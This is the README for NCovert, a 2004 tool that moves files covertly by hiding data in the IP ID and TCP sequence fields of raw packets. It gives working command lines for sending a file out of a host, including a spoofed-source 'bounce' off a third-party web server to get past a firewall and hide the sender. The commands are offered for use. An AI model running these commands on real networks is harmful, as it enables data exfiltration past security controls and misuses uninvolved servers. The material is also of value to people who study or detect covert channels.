DESCRIPTION
-----------

Ncovert is a program designed to function as a TCP covert channel. It is
based in part on Chris Rouland's covert_tcp program.


INSTALLATION
------------

$ tar xvzf ncovert-x.x.tgz
$ cd ncovert-x.x
$ ./configure
$ make
# make install

For additional options, try ./configure --help.


USING NCOVERT
-------------

The NCovert program functions as both client and server, depending on what
options are used. Data is transferred using the IP ID field and TCP sequence
number. Probably the easiest way to explain NCovert is to show how to use the
options.

We want to send the file pr0n.tgz from pr0n.ncsc.mil to nmrc.org. The sender
functions as the client and issues the command (note sender running as root
since we need raw sockets):

# ncovert -s pr0n.ncsc.mil -d nmrc.org -l 53 -p 88 -f pr0n.tgz

This sets the source address to be pr0n.ncsc.mil, destination address to be
nmrc.org, and the local or sending port is TCP port 53, while the destination
port on nmrc.org will be TCP port 88. Obviously -f tells NCovert what file to
send. The receiver functions as the server and receives the data on nmrc.org
by issuing the following command:

# ncovert -s pr0n.ncsc.mil -d nmrc.org -p 88 -S -f pr0n.tgz

The main difference between the two command lines is that the receiver invokes
server mode with a -S option, and doesn't care what the source port is. The
-f option is used to specify the name of the file we are saving.

The first packet sent by NCovert has the file size of the file we are
transmitting in the IP ID field, and the data is transmitted in one four-byte
chunk at a time via the sequence number. Subsequent packets use a random IP ID
field. The receiving NCovert grabs the IP ID field from the first packet so
it knows when it reaches the end of the file.

Since we are sending by constructing our packets from scratch, we can forge
the source address. And since we are receiving packets by sniffing, we don't
neccessarily need to be the target, just in the network path to the target.
This allows for some interesting tricks.

Let's say we want to send a file from pr0n.ncsc.mil to nmrc.org, but nmrc.org
is blocked by ncsc.mil's firewall. However, both systems can reach the web
server on linux.org. Therefore we can "bounce" the data off of linux.org to
make the transfer happen. Let's look at both sender and receiver commands, then
explain what is happening.

Sender at pr0n.ncsc.mil:
# ncovert -s nmrc.org -d linux.org -l 1234 -p 80 -f pr0n.tgz

Receiver at nmrc.org:
# ncovert -a -s linux.org -d nmrc.org -p 1234 -S -f pr0n.tgz

The sender sets the source address to be nmrc.org. This means that when the
SYN packet reaches port 80 on linux.org, the SYN/ACK packet reply
generated by linux.org is sent to port 1234 on nmrc.org, not pr0n.ncsc.mil.
This is the "bounce" we are refering to, and gives us a way to move data
from pr0n.ncsc.mil to nmrc.org. On nmrc.org, we listen as we would normally
but we are listening for traffic coming from linux.org going to port 1234.
Note the -a flag the receiver uses with NCovert. This lets NCovert know that
the packets coming in are not the usual SYN packets, but SYN/ACK packets.
This tells NCovert to disregard the IP ID field for the file size, and that
the sequence number has been incremented by one, so it must be decremented by
one before saving the data. Since the file size is unknown, the receiver 
simply waits for the transmission to stop for more than 10 seconds.

The bounce technique has the added bonus of hiding the source address of the
sending from nmrc.org, including those that might be sniffing the traffic. And
remember that the target of nmrc.org can be forged. If hidden.sniffer.net is
a host that is upstream of nmrc.org, running the command to look for packets
heading to nmrc.org will allow hidden.sniffer.net to get the data. Someone
sniffing the traffic will see packets coming from one machine heading to
another, while the true identities of sender and receiver are hidden.


WHERE IT FAILS
--------------

NCovert is not perfect. If you are wishing for a bit more security, consider
using NCovert2. It doesn't do the "bounce" thing, but it is a little more
flexible for peer-to-peer communications.

Use encryption on your data before transmission. NCovert does not do any
encryption at all, so if you send a plaintext document, it will go across
the Internet in plaintext, four bytes at a time. Consider using a file
encryptor/decryptor like NCrypt, or something a little more heavyweight like
GPG to secure the file.

NCovert is just as reliable as UDP. Even though we are using TCP packets, the
way in which they are used makes them as reliable as UDP. One dropped packet
kills this scheme.

Just because you can bounce packets around via spoofing is no guarantee of
anonymity. It is still possible to trace back traffic, especially if the
person doing the tracing is lucky and is near either the sender or receiver.


FOR MORE INFO
-------------

Check out the man page, or send email to Simple Nomad [thegnome at nmrc.org].


AUTHOR
------

Ncovert implementation by Simple Nomad [thegnome at nmrc.org]. Based in part
upon Chris Rouland's covert_tcp program.



--

Simple Nomad
$Id: README,v 1.1 2004/03/17 22:37:43 s-nomad Exp $
